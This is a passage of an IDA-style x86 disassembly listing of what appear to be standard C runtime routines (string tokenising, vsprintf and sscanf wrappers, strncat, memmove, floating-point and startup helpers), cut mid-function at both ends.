		cmp	[ebp+var_C], 20h
		jge	short loc_422806
		mov	edx, [ebp+var_C]
		mov	[ebp+edx+var_2C], 0
		jmp	short loc_4227ED
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227D0+2Aj
					; sub_4227D0+79j
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		sar	edx, 3
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_2C]
		or	cl, al
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		sar	eax, 3
		mov	[ebp+eax+var_2C], cl
		mov	ecx, [ebp+var_30]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_30]
		add	eax, 1
		mov	[ebp+var_30], eax
		test	edx, edx
		jnz	short loc_422806
		cmp	[ebp+arg_0], 0
		jz	short loc_422859
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		jmp	short loc_422862
; ---------------------------------------------------------------------------


loc_422859:				; CODE XREF: sub_4227D0+7Fj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+18h]
		mov	[ebp+var_4], eax


loc_422862:				; CODE XREF: sub_4227D0+87j
					; sub_4227D0+CFj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_4228A1
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_4228A1
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_422862
; ---------------------------------------------------------------------------


loc_4228A1:				; CODE XREF: sub_4227D0+B9j
					; sub_4227D0+C4j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	short loc_4228B2
; ---------------------------------------------------------------------------


loc_4228A9:				; CODE XREF: sub_4227D0:loc_4228F7j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4228B2:				; CODE XREF: sub_4227D0+D7j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_4228F9
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_4228F7
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4228F9
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4227D0+114j
		jmp	short loc_4228A9
; ---------------------------------------------------------------------------


loc_4228F9:				; CODE XREF: sub_4227D0+EBj
					; sub_4227D0+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_4]
		jnz	short loc_42290E
		xor	eax, eax
		jmp	short loc_422911
; ---------------------------------------------------------------------------


loc_42290E:				; CODE XREF: sub_4227D0+138j
		mov	eax, [ebp+arg_0]


loc_422911:				; CODE XREF: sub_4227D0+13Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_4227D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422920	proc near		; CODE XREF: sub_40AFBE+27p
					; sub_417472+24p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax


loc_42292F:				; CODE XREF: sub_422920+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_422953
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Ah
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422953
		int	3		; Trap to Debugger


loc_422953:				; CODE XREF: sub_422920+13j
					; sub_422920+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_42292F


loc_422959:				; CODE XREF: sub_422920+61j
		cmp	[ebp+arg_8], 0
		jnz	short loc_42297D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Bh
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42297D
		int	3		; Trap to Debugger


loc_42297D:				; CODE XREF: sub_422920+3Dj
					; sub_422920+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_422959
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+0Ch], 42h
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_42A6B0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_4229F8
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_422A09
; ---------------------------------------------------------------------------


loc_4229F8:				; CODE XREF: sub_422920+B4j
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_42A430
		add	esp, 8
		mov	[ebp+var_2C], eax


loc_422A09:				; CODE XREF: sub_422920+D6j
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_422920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422A20	proc near		; CODE XREF: sub_40CDB9+A1p
					; sub_40DC2A+BDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_422AD4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_422A4A


loc_422A3B:				; CODE XREF: sub_422A20+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_422A7B
		test	edi, 3
		jnz	short loc_422A3B


loc_422A4A:				; CODE XREF: sub_422A20+19j
					; sub_422A20+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_422A4A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_422A88
		test	ah, ah
		jz	short loc_422A83
		test	eax, 0FF0000h
		jz	short loc_422A7E
		test	eax, 0FF000000h
		jnz	short loc_422A4A


loc_422A7B:				; CODE XREF: sub_422A20+20j
		dec	edi
		jmp	short loc_422A8B
; ---------------------------------------------------------------------------


loc_422A7E:				; CODE XREF: sub_422A20+52j
		sub	edi, 2
		jmp	short loc_422A8B
; ---------------------------------------------------------------------------


loc_422A83:				; CODE XREF: sub_422A20+4Bj
		sub	edi, 3
		jmp	short loc_422A8B
; ---------------------------------------------------------------------------


loc_422A88:				; CODE XREF: sub_422A20+47j
		sub	edi, 4


loc_422A8B:				; CODE XREF: sub_422A20+5Cj
					; sub_422A20+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_422AA0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_422AEC
		jmp	short loc_422ABC
; ---------------------------------------------------------------------------


loc_422AA0:				; CODE XREF: sub_422A20+75j
					; sub_422A20+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_422ADA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_422AD0
		test	esi, 3
		jnz	short loc_422AA0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_422AEC


loc_422ABC:				; CODE XREF: sub_422A20+7Ej
					; sub_422A20+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_422AD0


loc_422AC3:				; CODE XREF: sub_422A20+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_422AD2
		dec	ecx
		jnz	short loc_422AC3


loc_422AD0:				; CODE XREF: sub_422A20+8Bj
					; sub_422A20+A1j
		mov	[edi], cl


loc_422AD2:				; CODE XREF: sub_422A20+ABj
		pop	ebx
		pop	esi


loc_422AD4:				; CODE XREF: sub_422A20+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422ADA:				; CODE XREF: sub_422A20+85j
					; sub_422A20+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422AE4:				; CODE XREF: sub_422A20+E4j
					; sub_422A20+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_422ABC


loc_422AEC:				; CODE XREF: sub_422A20+7Cj
					; sub_422A20+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_422AE4
		test	dl, dl
		jz	short loc_422ADA
		test	dh, dh
		jz	short loc_422B38
		test	edx, 0FF0000h
		jz	short loc_422B28
		test	edx, 0FF000000h
		jnz	short loc_422AE4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422B28:				; CODE XREF: sub_422A20+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422B38:				; CODE XREF: sub_422A20+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_422A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B50	proc near		; CODE XREF: sub_40CF37+99p
					; sub_40CF37+B7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_422B70
		cmp	edi, eax
		jb	loc_422CE8


loc_422B70:				; CODE XREF: sub_422B50+16j
		test	edi, 3
		jnz	short loc_422B8C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_422BAC
		rep movsd
		jmp	off_422C98[edx*4]
; ---------------------------------------------------------------------------


loc_422B8C:				; CODE XREF: sub_422B50+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_422BA4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_422BAC+4[eax*4]
; ---------------------------------------------------------------------------


loc_422BA4:				; CODE XREF: sub_422B50+46j
		jmp	dword ptr loc_422CA8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_422BAC:				; CODE XREF: sub_422B50+31j
					; sub_422B50+8Ej ...
		jmp	off_422C2C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_422BC0
		dd offset loc_422BEC
		dd offset loc_422C10
; ---------------------------------------------------------------------------


loc_422BC0:				; DATA XREF: sub_422B50+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_422BAC
		rep movsd
		jmp	off_422C98[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_422BEC:				; DATA XREF: sub_422B50+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_422BAC
		rep movsd
		jmp	off_422C98[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_422C10:				; DATA XREF: sub_422B50+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_422BAC
		rep movsd
		jmp	off_422C98[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_422C2C	dd offset loc_422C8F	; DATA XREF: sub_422B50:loc_422BACr
		dd offset loc_422C7C
		dd offset loc_422C74
		dd offset loc_422C6C
		dd offset loc_422C64
		dd offset loc_422C5C
		dd offset loc_422C54
		dd offset loc_422C4C
; ---------------------------------------------------------------------------


loc_422C4C:				; CODE XREF: sub_422B50:loc_422BACj
					; DATA XREF: sub_422B50+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_422C54:				; CODE XREF: sub_422B50:loc_422BACj
					; DATA XREF: sub_422B50+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_422C5C:				; CODE XREF: sub_422B50:loc_422BACj
					; DATA XREF: sub_422B50+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_422C64:				; CODE XREF: sub_422B50:loc_422BACj
					; DATA XREF: sub_422B50+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_422C6C:				; CODE XREF: sub_422B50:loc_422BACj
					; DATA XREF: sub_422B50+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_422C74:				; CODE XREF: sub_422B50:loc_422BACj
					; DATA XREF: sub_422B50+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_422C7C:				; CODE XREF: sub_422B50:loc_422BACj
					; DATA XREF: sub_422B50+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_422C8F:				; CODE XREF: sub_422B50:loc_422BACj
					; DATA XREF: sub_422B50:off_422C2Co
		jmp	off_422C98[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_422C98	dd offset loc_422CA8	; DATA XREF: sub_422B50+35r
					; sub_422B50+92r ...
		dd offset loc_422CB0
		dd offset loc_422CBC
		dd offset loc_422CD0
; ---------------------------------------------------------------------------


loc_422CA8:				; CODE XREF: sub_422B50+35j
					; sub_422B50+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_422CB0:				; CODE XREF: sub_422B50+35j
					; sub_422B50+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_422CBC:				; CODE XREF: sub_422B50+35j
					; sub_422B50+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_422CD0:				; CODE XREF: sub_422B50+35j
					; sub_422B50+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_422CE8:				; CODE XREF: sub_422B50+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_422D1C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_422D10
		std
		rep movsd
		cld
		jmp	off_422E30[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_422D10:				; CODE XREF: sub_422B50+1B1j
					; sub_422B50+208j ...
		neg	ecx
		jmp	off_422DE0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_422D1C:				; CODE XREF: sub_422B50+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_422D34
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_422D34+4[eax*4]
; ---------------------------------------------------------------------------


loc_422D34:				; CODE XREF: sub_422B50+1D6j
					; DATA XREF: sub_422B50+1DDr
		jmp	off_422E30[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_422D48
		dd offset loc_422D68
		dd offset loc_422D90
; ---------------------------------------------------------------------------


loc_422D48:				; DATA XREF: sub_422B50+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_422D10
		std
		rep movsd
		cld
		jmp	off_422E30[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_422D68:				; DATA XREF: sub_422B50+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_422D10
		std
		rep movsd
		cld
		jmp	off_422E30[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_422D90:				; DATA XREF: sub_422B50+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_422D10
		std
		rep movsd
		cld
		jmp	off_422E30[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_422DE4
		dd offset loc_422DEC
		dd offset loc_422DF4
		dd offset loc_422DFC
		dd offset loc_422E04
		dd offset loc_422E0C
		dd offset loc_422E14
off_422DE0	dd offset loc_422E27	; DATA XREF: sub_422B50+1C2r
; ---------------------------------------------------------------------------


loc_422DE4:				; DATA XREF: sub_422B50+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_422DEC:				; DATA XREF: sub_422B50+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_422DF4:				; DATA XREF: sub_422B50+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_422DFC:				; DATA XREF: sub_422B50+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_422E04:				; DATA XREF: sub_422B50+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_422E0C:				; DATA XREF: sub_422B50+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_422E14:				; DATA XREF: sub_422B50+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_422E27:				; CODE XREF: sub_422B50+1C2j
					; DATA XREF: sub_422B50:off_422DE0o
		jmp	off_422E30[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_422E30	dd offset loc_422E40	; DATA XREF: sub_422B50+1B7r
					; sub_422B50:loc_422D34r ...
		dd offset loc_422E48
		dd offset loc_422E58
		dd offset loc_422E6C
; ---------------------------------------------------------------------------


loc_422E40:				; CODE XREF: sub_422B50+1B7j
					; sub_422B50:loc_422D34j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_422E48:				; CODE XREF: sub_422B50+1B7j
					; sub_422B50:loc_422D34j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_422E58:				; CODE XREF: sub_422B50+1B7j
					; sub_422B50:loc_422D34j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_422E6C:				; CODE XREF: sub_422B50+1B7j
					; sub_422B50:loc_422D34j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_422B50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E90	proc near		; CODE XREF: sub_40E7FB+43p
					; .XComp0:00412960p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_422EA5:				; CODE XREF: sub_422E90+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_422EC9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	42h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422EC9
		int	3		; Trap to Debugger


loc_422EC9:				; CODE XREF: sub_422E90+19j
					; sub_422E90+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_422EA5


loc_422ECF:				; CODE XREF: sub_422E90+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_422EF3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	43h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422EF3
		int	3		; Trap to Debugger


loc_422EF3:				; CODE XREF: sub_422E90+43j
					; sub_422E90+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_422ECF
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 49h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_42C5E0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_422E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_422F50(double)

sub_422F50	proc near		; CODE XREF: sub_41017F+4Cp

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_44FF10
		push	eax
		call	sub_42EA40
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_42300B
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_42E840
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_422FE2
		cmp	[ebp+var_10], 2
		jle	short loc_422FAE
		cmp	[ebp+var_10], 3
		jz	short loc_422FC7
		jmp	short loc_422FE2
; ---------------------------------------------------------------------------


loc_422FAE:				; CODE XREF: sub_422F50+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42EA40
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_423081
; ---------------------------------------------------------------------------


loc_422FC7:				; CODE XREF: sub_422F50+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Bh		; int
		call	sub_42DB00
		add	esp, 10h
		jmp	loc_423081
; ---------------------------------------------------------------------------


loc_422FE2:				; CODE XREF: sub_422F50+4Ej
					; sub_422F50+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_43ED28
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Bh		; int
		push	8		; int
		call	sub_42DBD0
		add	esp, 1Ch
		jmp	short loc_423081
; ---------------------------------------------------------------------------


loc_42300B:				; CODE XREF: sub_422F50+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_42DAE0
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_423041
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42EA40
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_423081
; ---------------------------------------------------------------------------


loc_423041:				; CODE XREF: sub_422F50+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_423061
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_42EA40
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_423081
; ---------------------------------------------------------------------------


loc_423061:				; CODE XREF: sub_422F50+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Bh		; int
		push	10h		; int
		call	sub_42DBD0
		add	esp, 1Ch


loc_423081:				; CODE XREF: sub_422F50+72j
					; sub_422F50+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_422F50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423090	proc near		; CODE XREF: sub_4217C0+Cp
					; DATA XREF: .XComp0:off_44FF1Co
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_4230D0
		call	sub_42EB80
		mov	dword_4E9240, eax
		call	sub_42EB00
		fnclex
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_423090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230C0	proc near		; DATA XREF: .XComp0:0044FF20o
					; .XComp0:0044FF24o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_4230C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230D0	proc near		; CODE XREF: sub_423090+6p
		push	ebp
		mov	ebp, esp
		mov	off_452898, offset sub_42F270
		mov	off_45289C, offset sub_42EC80
		mov	off_4528A0, offset sub_42ED90
		mov	off_4528A4, offset sub_42EBD0
		mov	off_4528A8, offset sub_42ED60
